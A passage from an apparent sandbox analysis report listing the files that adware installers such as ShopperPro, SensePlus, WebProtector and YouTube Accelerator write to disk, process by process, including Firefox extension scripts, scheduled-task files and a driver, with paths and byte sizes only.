%Program Files% (x86)\WebProtector\ToolbarData.ini (849 bytes)
%Program Files% (x86)\WebProtector\webprotector_uninstaller.exe (1279 bytes)
%Program Files% (x86)\WebProtector\hotbtn.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd786A.tmp\System.dll (23 bytes)
%Program Files% (x86)\WebProtector\btn.ico (1 bytes)

The process ein.exe:2488 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\WebProtector\WebProtector_new.dll (12030 bytes)
%Program Files% (x86)\WebProtector\WebProtector.dll (3568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyFCA7.tmp\System.dll (23 bytes)
%Program Files% (x86)\WebProtector\ToolbarData.ini (849 bytes)
%Program Files% (x86)\WebProtector\webprotector_uninstaller.exe (1279 bytes)
%Program Files% (x86)\WebProtector\hotbtn.ico (1 bytes)
%Program Files% (x86)\WebProtector\btn.ico (1 bytes)

The process a802e32e-c834-41ba-9f76-26b80ade37d5-4.exe:4328 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\f25595fb2d03cea11cff92369c472b46.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\a30982f31291df3a224a539f4a41874a.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins.json (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\856a0dc089109aa32a0bbd0591da6fc5.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\2156938036694ac0f0bf5a476cfff773.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\399.js (525 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\385.js (805 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\8e894cc897f941deaf2cb360125eeee3.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\4f4b17d70c4e0d04315603e097739edb.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome.manifest (622 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\bf5021ef23104a9b0a16854e52ab45a3.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\daafdf5668ae41fdd7f14392a1603485.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\800cfbc29a5f65a7f8a0e110c1dd16bb.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\290.js (897 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\68818fdb8def3569475a9ef30685d823.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\989a5e1a6e7a81ba8c2d7924a67d25c4.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\9b7d81ff2c95f44f8a953b1d31894104.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\4efb8fce1a7c7935fade7d13f7590c8f.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\a8fac28f6f196d96a16dad4b34fdf282.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\15b00ba8118b95bfcba07eb28a778086.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\2fb608fed2359416c705fcdd3904207b.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\cd839c76cd4d6630869c2e7b70603d95.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\3e32a5ec376f4a2f0f96eddd5de581f4.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\6ff8b698498bdd96c60ab54995d8df39.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\ad70afcfa624882e12fe03077e2ab49d.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\2a813a7186a6b802d151e74d906b5bb7.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon48.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\345.js (671 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\406bd94dd365ac5f340e1956e145b681.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\18758c76d3a4d5be010fc5cbfd2fb5d0.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\6d21bc542a07a7323f91a135e067b19d.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon24.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\extension.js (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\47414197da28491e4c04b119bb879674.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon128.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\1937afcb25511288e979d2d03c42f809.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\a2f627eba53bf17f4d312c92706480d4.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\8f380a28e028fd0ed6d106fcc1a4d1dc.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\89899fcb7c9b95175098b08f9368f7ed.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\3ea816c6ec716ac8c2dfef4aeeee0af8.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\ac9b1149f12faa4fd7794c09f1cb111a.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\cc664287652067135d69ed2b2d93925f.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\skin.css (899 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\4f0d055c28b4d3a9aae2be0bdb085d96.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\f62ce475e6053cbe22119298b0035fe2.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\b1be85c99f44ca8f43c5ba516e125a21.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\440e93a32e6de314220b3f955dc4413b.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\0d6dcc8b0791bb740025a005d06f1ad7.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\1587449daf53efd814da42bb7246b25e.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\e05ac4b540ab5ebd0eec10b97e5cfd19.js (649 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\1b3346eed70aa4ba9da70bfd57e21232.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\d9793d6569dc5082a05964df6bb803e9.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\c6f0164f9924ffbfa13c98570493c352.js (5 bytes)

The process ins_shopperpro.exe:4048 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoBA7A.tmp\setup.exe (1606835 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoBA7A.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoBA7A.tmp\setup1.exe (144456 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoBA79.tmp (154991 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoBA7A.tmp\D1958.dll (30 bytes)

The process Hibqtpj.exe:3784 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\245078 (90704 bytes)
%Program Files% (x86)\SensePlus\d67956cd-30ae-4a5b-a0d0-0fdb83f39a63-4.exe (8706 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\System.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\d67956cd-30ae-4a5b-a0d0-0fdb83f39a63-4.dll (42762 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Windows\Tasks\d67956cd-30ae-4a5b-a0d0-0fdb83f39a63-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\ipgeoapi_com[2].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstFCB6.tmp (619343 bytes)
%Program Files% (x86)\SensePlus\utils.exe (62101 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\dkhbofocf.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\275719 (3117 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\fkhxrm.dll (29131 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\vmgvmcqqh.dll (14 bytes)
%Program Files% (x86)\SensePlus\d67956cd-30ae-4a5b-a0d0-0fdb83f39a63.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\gtexax.dll (3410 bytes)
%Program Files% (x86)\SensePlus\Uninstall.exe (601 bytes)
C:\Windows\Tasks\d67956cd-30ae-4a5b-a0d0-0fdb83f39a63-5_user.job (74 bytes)
%Program Files% (x86)\SensePlus\d67956cd-30ae-4a5b-a0d0-0fdb83f39a63-5.exe (7433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\mxexzbq.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\tvahk.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\lwfjntrs.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\xgyszng.dll (13 bytes)

The process regsvr32.exe:4040 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro.dll (442 bytes)

The process regsvr32.exe:3964 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro64.dll (528 bytes)

The process regsvr32.exe:1864 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\YTAHelper.dll (409 bytes)

The process regsvr32.exe:1900 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\YTAHelper64.dll (491 bytes)

The process lspinst.exe:3116 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
C:\ProgramData\TEMP:56E2E879 (417 bytes)

The process lspinst.exe:3220 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
C:\ProgramData\TEMP:56E2E879 (417 bytes)

The process YTAHEL~1.EXE:2700 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseC44A.tmp\AccDownload.dll (11667 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseC44A.tmp\System.dll (23 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32784 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseC44A.tmp\MoreInfo.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseC44A.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseC44A.tmp\jsdrv.exe (100669 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoC439.tmp (118586 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (13584 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseC44A.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (16424 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)

The process d67956cd-30ae-4a5b-a0d0-0fdb83f39a63-4.exe:4340 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\345.js (671 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\65ece654a0cdf35d75dc3a56a3bb76db.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\8fb144f928dac035eae99188c9261de6.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\334.js (973 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\35ab3265e5aa11f2c12e3d44fcc07477.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\5231061c57a166b4acc126d10ffcf082.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\39a4e4c3afde14a59de624b58126bc46.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\0328fc3104c470fbe5f005e4f4a6dd10.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\188f68df6f9fef9f95ce6c226ab43637.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
